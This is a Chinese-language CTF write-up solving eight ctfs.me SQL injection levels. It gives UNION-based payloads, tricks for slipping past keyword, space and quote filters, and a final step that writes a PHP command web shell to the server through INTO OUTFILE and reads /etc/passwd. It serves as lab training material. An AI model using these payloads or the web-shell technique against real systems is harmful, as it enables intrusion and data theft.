1. 程式人生 > >sql註入習題/ctfs.me sql injection

sql註入習題/ctfs.me sql injection

tro 沒有 mat ike 密碼 還原 rod space sset

sql註入習題

來源於ctfs.me的一道習題,實在做不出來,google了wp,發現這道題目是引自於其他習題集了,而且原題目是有源碼的。。。於是趁機把他的題目做了一遍

level1

這道題目其實沒有源碼也是可以做的,不過需要簡單思考一下
$query = "SELECT * FROM secrets WHERE session_id = ‘" . $_POST[‘session_id‘] . "‘";
這個語句,我們需要讓where 後面的為true,所以我們需要用到or,比較簡單的題目
payload:1‘ or 1=1 #
在get your secrets裏面輸入,就可以得到所有的secrets,第一個就是flag

level2

這道題目在ctfs.me上很坑,我不曉得大佬是怎麽做的。
假如不給源碼,我首先想到的是萬能密碼登陸,一頓操作之後,發現註入點在用戶名的位置登陸不了,gg
換思路,考慮這個登陸的回顯
payload:username:1‘order by 1# &password=dd
回顯: username/password is invalid
payload:`username:1‘order by 2# &password=dd‘
回顯: invalid sql query

可以知道只有一列,所以我們可以看看回顯的位置
payload: username=1‘ union select 1 -- -&password=dd


回顯。。。,回顯出flag了,但是頁面顯示的不是真正的,查看源碼發現另一個flag,get!


假如給了源碼,那就稍微簡單一點了

if (isset($_POST[‘username‘]) && isset($_POST[‘password‘])) {

    // $query = "SELECT flag FROM my_secret_table"; We leave commented code in production because we‘re cool.
 
    $query = "SELECT username FROM users where username = ‘" . $_POST[‘username‘] . "‘ and password = ?";

    // We use prepared statements, it must be secure.

直接構造payload:username=1‘union select flag from my_secret_table

level3 - The Blacklist Saga (Part 1)

$filter = array(‘union‘, ‘select‘);

    // Remove all banned characters
    foreach ($filter as $banned) {
        $_GET[‘q‘] = preg_replace(‘/‘ . $banned . ‘/i‘, ‘‘, $_GET[‘q‘]);
    } 

過濾union 和select 關鍵字,使用preg_replace替換掉union和select關鍵字,而且不區分大小寫("/i")
以前經常看到這種繞過方式uni/**/on,這次嘗試無效。。。
但是因為替換關鍵詞為空字符,所以可以構造這種uniunionon,preg_replace把字符串中間的union替換為空白,其余字符再次組合成為union
payload:1‘uniunionon seleselectct 1,username,password from users #
簡單過程:

  1. 使用order by 測列數 1‘order by 3#
  2. 然後利用information_schema庫查表名,列名,就可以了

得到flag

Level 4 - The Blacklist Saga (Part 2)

 $filter = array(‘UNION‘, ‘SELECT‘);

    // Remove all banned characters
    foreach ($filter as $banned) {
        if (strpos($_GET[‘q‘], $banned) !== false) die("Hacker detected"); 
        if (strpos($_GET[‘q‘], strtolower($banned)) !== false) die("Hacker detected"); 
    } 

比較黑名單的大寫形式,小寫形式,但是漏了大小寫混合,所以可以使用大小混合繞過
payload:1‘uNion Select 1,username,password from users #

Level 5 - The Blacklist Saga (Part 3)

// Ban space character
    if (strpos($_GET[‘q‘], " ") !== false) die("Hacker detected"); 

過濾了空格,空格繞過,使用mysql的註釋/**/
payload:1‘union/**/select/**/1,username,password/**/from/**/users/**/#

Level 6 - The Blacklist Saga (Part 4)

// Ban space character
    if (strpos($_GET[‘q‘], "‘") !== false) die("Hacker detected"); 
    if (strpos($_GET[‘q‘], ‘"‘) !== false) die("Hacker detected");

過濾單引號和雙引號,繞不過,但是可以通過原來的sql語句構造
$query = "SELECT * FROM search_engine WHERE title LIKE ‘" . $_GET[‘q‘]. "‘ OR description LIKE ‘" . $_GET[‘q‘] . "‘ OR link LIKE ‘" . $_GET[‘q‘] . "‘;";
payload: and 0 union select 1,username,password from users #\
具體:
select * from search_engine where title like ‘and 0 union select 1,username,password from users #\‘ or description like ‘and 0 union select 1,username,password from users #\‘ or link like ‘and 0 union select 1,username,password from users #\‘;
可以看到一共有6個單引號,但是由於‘\‘的作用,所以第二個,第四個,第六個單引號被轉義了,用SQL代理and 0 union select 1,username,password from users #\,結果如下:
select * from search_engine where title like ‘SQL \‘ or description like ‘SQL \‘ or link like ‘SQL\‘
去掉轉義的單引號
select * from search_engine where title like ‘SQL or description like ‘SQL or link like ‘SQL
還原SQL,因為title like 後面的參數SQL or description like‘是一個字符串,所以SQL不用還原,而且SQL最後面是一個註釋符號,所以上面語句中第二個SQL後面被註釋,可以省略select * from search_engine where title like ‘SQL or description likeand 0 union select 1,username,password from users #
再簡化一下:
select * from search_engine where title like ‘xxxx‘ and 0 union select 1,username,password from users #
ok

Level 7

先做level 8

Level 8 - The Final Challenge

查看源碼,發現有兩個隱藏表單

<!--<li><a href="/uploads/">Our files</a></li>-->
<!--<li><a href="/phpinfo.php">Debug</a></li>-->

可以知道允許上傳的文件在uploads裏面,
查看phpinfoDOCUMENT_ROOT /var/www/html,知道網站地址是這個,所以我們可以是用sql的into outifle 把php一句話,輸出到php文件中
payload:1 union select "<?php system($_GET[\"cmd\"]);?> ", "" into outfile "/var/www/html/uploads/temp2.php"#

35.184.20.243:8003/uploads/temp2.php?cmd=ls
查看系統文件,flag在上一級目錄裏面,使用cat讀取就可以了

leve7

使用level8的shell cat /etc/passwd得到flag,或者查看level7的flag.php源文件就可以得到flag
但是我覺得這可能有點問題,可能有其他的做法,還沒有想到

sql註入習題/ctfs.me sql injection